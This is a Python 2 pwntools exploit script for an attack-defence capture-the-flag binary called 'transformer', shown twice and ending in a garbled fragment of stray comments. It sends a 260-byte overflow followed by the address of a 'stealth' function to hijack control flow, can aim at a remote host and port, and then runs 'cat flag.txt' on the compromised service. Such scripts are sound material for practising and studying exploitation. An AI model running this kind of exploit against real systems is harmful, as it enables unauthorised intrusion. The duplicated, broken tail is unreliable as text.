<filename>attack-defence-challenges/transformer/exploit.py
#! /usr/bin/python2
# -*- coding: utf-8 -*-

from pwn import *
from sys import argv

context(os = 'linux', arch = 'i386')

elf = ELF('./transformer')

if len(argv) != 3:
    r = process('./transformer')
else:
    r = remote(argv[1], int(argv[2]))

payload = 'A'*260 + pack(elf.symbols['stealth'])
r.recvuntil("Word #1: ")
r.sendline(payload)
r.recvuntil("Word #2: ")
r.sendline('a')

r.clean()

r.sendline('cat flag.txt')
s = r.recv(1024)
print s

<filename>attack-defence-challenges/transformer/exploit.py
#! /usr/bin/python2
# -*- coding: utf-8 -*-

from pwn import *
from sys import argv

context(os = 'linux', arch = 'i386')

elf = ELF('./transformer')

if len(argv) != 3:
    r = process('./transformer')
else:
    r = remote(argv[1], int(argv[2]))

payload = 'A'*260 + pack(elf.symbols['stealth'])
r.recvuntil("Word #1: ")
r.sendline(payload)
r.recvuntil("Word #2: ")
r.sendline('a')

r.clean()

r.sendline('cat flag.txt')
s = r.recv(1024)
print s

#! /usr/bin/python2 # -*- coding: utf-8 -*- #1: ") #2: ")